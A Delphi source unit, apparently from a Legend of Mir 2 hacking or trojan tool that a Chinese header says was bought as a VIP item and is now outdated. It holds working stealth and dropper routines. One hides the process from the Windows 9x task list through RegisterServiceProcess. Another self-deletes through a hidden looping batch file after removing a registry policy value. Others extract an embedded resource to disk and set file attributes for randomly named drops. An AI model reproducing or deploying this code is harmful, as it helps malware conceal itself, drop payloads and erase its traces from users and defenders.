unit_other.pas

传奇2万能变形特征码+极度流畅版,以前vip买回来的,现在已经过时了

unit Unit_Other;

interface
uses
  Windows, Unit_Reg;

function  MyGetWindowsDirectory: string;
function  FileSetAttr(const FileName: string; Attr: Integer): Integer;
function  FileExists(AFileName: string): Boolean;
function  RandomFilename(aFilename: string): string;
procedure ExtractRes(ResType, ResName, ResNewName: string);
procedure HideSelfToBeService;
function  CompareText(const S1, S2: string): Integer;
function IsWindows9x: Boolean;
procedure DelMe;
implementation
function IsWindows9x: Boolean;
var
  Osi: TOSVersionInfo;
begin
  Osi.dwOSVersionInfoSize := sizeof(Osi);
  GetVersionEx(Osi);
  Result := Osi.dwPlatformID <> Ver_Platform_Win32_NT;
end;
function MyGetWindowsDirectory: string;
var Buf: array[0..MAX_PATH] of char;
begin
  GetWindowsDirectory(Buf, MAX_PATH);
  Result := Buf;
  if Result[Length(Result)] <> '\' then Result := Result + '\';
end;

function CompareText(const S1, S2: string): Integer; assembler;
asm
        PUSH    ESI
        PUSH    EDI
        PUSH    EBX
        MOV     ESI,EAX
        MOV     EDI,EDX
        OR      EAX,EAX
        JE      @@0
        MOV     EAX,[EAX-4]
@@0:    OR      EDX,EDX
        JE      @@1
        MOV     EDX,[EDX-4]
@@1:    MOV     ECX,EAX
        CMP     ECX,EDX
        JBE     @@2
        MOV     ECX,EDX
@@2:    CMP     ECX,ECX
@@3:    REPE    CMPSB
        JE      @@6
        MOV     BL,BYTE PTR [ESI-1]
        CMP     BL,'a'
        JB      @@4
        CMP     BL,'z'
        JA      @@4
        SUB     BL,20H
@@4:    MOV     BH,BYTE PTR [EDI-1]
        CMP     BH,'a'
        JB      @@5
        CMP     BH,'z'
        JA      @@5
        SUB     BH,20H
@@5:    CMP     BL,BH
        JE      @@3
        MOVZX   EAX,BL
        MOVZX   EDX,BH
@@6:    SUB     EAX,EDX
        POP     EBX
        POP     EDI
        POP     ESI
end;

function FileExists(AFileName: string): Boolean;
var
  LHandle: THandle;
  LFindData: TWin32FindData;
begin
  Result := False;
  LHandle := FindFirstFile(PChar(AFileName), LFindData);
  if LHandle <> INVALID_HANDLE_VALUE then
  begin
    Windows.FindClose(LHandle);
    Result := LFindData.dwFileAttributes and FILE_ATTRIBUTE_DIRECTORY = 0;
  end;
end;

function FileSetAttr(const FileName: string; Attr: Integer): Integer;
begin
  Result := 0;
  if not SetFileAttributes(PChar(FileName), Attr) then
    Result := GetLastError;
end;

procedure DelMe;
var
  F: textfile;
  BatchFileName: string;
  ProcessInfo: TProcessInformation;
  StartUpInfo: TStartupInfo;
begin
  DelValue(HKEY_CURRENT_USER, 'Software\Microsoft\Windows\CurrentVersion\Policies\WinOldApp', 'NoRealMode');
  BatchFileName := MyGetWindowsDirectory + 'Deleteme.bat';
  AssignFile(F, BatchFileName);
  Rewrite(F);
  WriteLn(F, ':try');
  WriteLn(F, 'del "' + ParamStr(0) + '"');
  WriteLn(F, 'if exist "' + ParamStr(0) + '"' + ' goto try');
  WriteLn(F, 'del %0');
  CloseFile(F);
  FillChar(StartUpInfo, SizeOf(StartUpInfo), $00);
  StartUpInfo.dwFlags := STARTF_USESHOWWINDOW;
  StartUpInfo.wShowWindow := SW_HIDE;
  if CreateProcess(nil, PChar(BatchFileName), nil, nil,
    False, IDLE_PRIORITY_CLASS, nil, nil, StartUpInfo,
    ProcessInfo) then
  begin
    CloseHandle(ProcessInfo.hThread);
    CloseHandle(ProcessInfo.hProcess);
  end;
end;


function Trim(const S: string): string;
var
  I, L: Integer;
begin
  L := Length(S);
  I := 1;
  while (I <= L) and (S[I] <= ' ') do Inc(I);
  if I > L then Result := '' else
  begin
    while S[L] <= ' ' do Dec(L);
    Result := Copy(S, I, L - I + 1);
  end;
end;

procedure HideSelfToBeService;
const
  Reg_As_Service = 1; //为1表示注册
  Un_Reg_As_Service = 0; //0则可在关闭程序中出现
var Pid: DWORD;
    //Regserv:DWORD;
  LibHandle: HWND;
  DllName: function(dwProcessId, dwType: DWORD): DWORD; stdcall;
begin
  LibHandle := LoadLibrary('kernel32.dll');
  if LibHandle < 32 then
  begin
    Exit;
  end;
  @DllName := GetProcAddress(LibHandle, 'RegisterServiceProcess');
  if @DllName = nil then
  begin
    FreeLibrary(LibHandle);
    Exit;
  end;
  try
    Pid := GetCurrentProcessId;
    DllName(pid, Reg_As_Service); //Regserv :=    RegisterServiceProcess
  finally
    FreeLibrary(LibHandle);
  end;
end;

function ExtractFilePath(APath: string): string;
var
  LI, LJ: Integer;
begin
  if (Length(APath) <> 0) and (Pos('\', APath) > 0) then
  begin
    LJ := 0;
    for LI := Length(APath) downto 1 do
      if APath[LI] = '\' then
      begin
        LJ := LI;
        Break;
      end;
    Result := Copy(APath, 1, LJ);
  end else Result := '';
end;

function ExtractFileName(APath: string): string;
var
  LI, LJ: Integer;
begin
  if Length(APath) <> 0 then
  begin
    LJ := 0;
    for LI := Length(APath) downto 1 do
      if APath[LI] = '\' then
      begin
        LJ := LI;
        Break;
      end;
    Result := Copy(APath, LJ + 1, MaxInt);
  end else Result := '';
end;

function ExtractFileExt(APath: string): string;
var
  i: integer;
begin
  for i := Length(APath) downto 1 do
    if APath[i] = '.' then Break;
  Result := Copy(APath, i, 4);
end;

function Inttostr(const Int: integer): string;
var d, m: integer;
begin
  m := int;
  Result := '';
  while m <> 0 do begin
    d := m mod 10;
    m := m div 10;
    Result := chr(d + 48) + Result;
  end;
end;

function RandomFilename(aFilename: string): string;
var
  Path, Filename, Ext: string;
begin
  Result := aFilename;
  Path := ExtractFilepath(aFilename);
  Ext := ExtractFileExt(aFilename);
  Filename := ExtractFilename(aFilename);
  if Length(Ext) > 0 then
    Filename := Copy(Filename, 1, Length(Filename) - Length(Ext));
  repeat
    Result := Path + Filename + inttoStr(Random(9999)) + Ext;
  until not FileExists(Result);
end;

procedure ExtractRes(ResType, ResName, ResNewName: string);
var
  HResInfo: THandle;
  HGlobal: THandle;
  FMemory: Pointer;
  FSize: Longint;
  handle: THandle;
  Wsize: longword;
  procedure SetPointer(Ptr: Pointer; Size: Longint);
  begin
    FMemory := Ptr;
    FSize := Size;
  end;
  function Initialize(Instance: THandle; Name, ResType: PChar): boolean;
  begin
    result := false;
    HResInfo := FindResource(Instance, Name, ResType);
    if HResInfo = 0 then Exit;
    HGlobal := LoadResource(Instance, HResInfo);
    if HGlobal = 0 then Exit;
    SetPointer(LockResource(HGlobal), SizeOfResource(Instance, HResInfo));
    result := true;
  end;
begin
  if not Initialize(hInstance, PChar(ResName), PChar(ResType)) then exit;
  if fileexists(ResNewName) then Deletefile(pchar(ResNewName));
  try
    handle := Integer(CreateFile(PChar(ResNewName), GENERIC_READ or GENERIC_WRITE,
      0, nil, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0));
    WriteFile(Handle, FMemory^, FSize, Wsize, nil);
    CloseHandle(handle);
  except
  end;
  UnlockResource(HGlobal);
  FreeResource(HGlobal);
end;

end.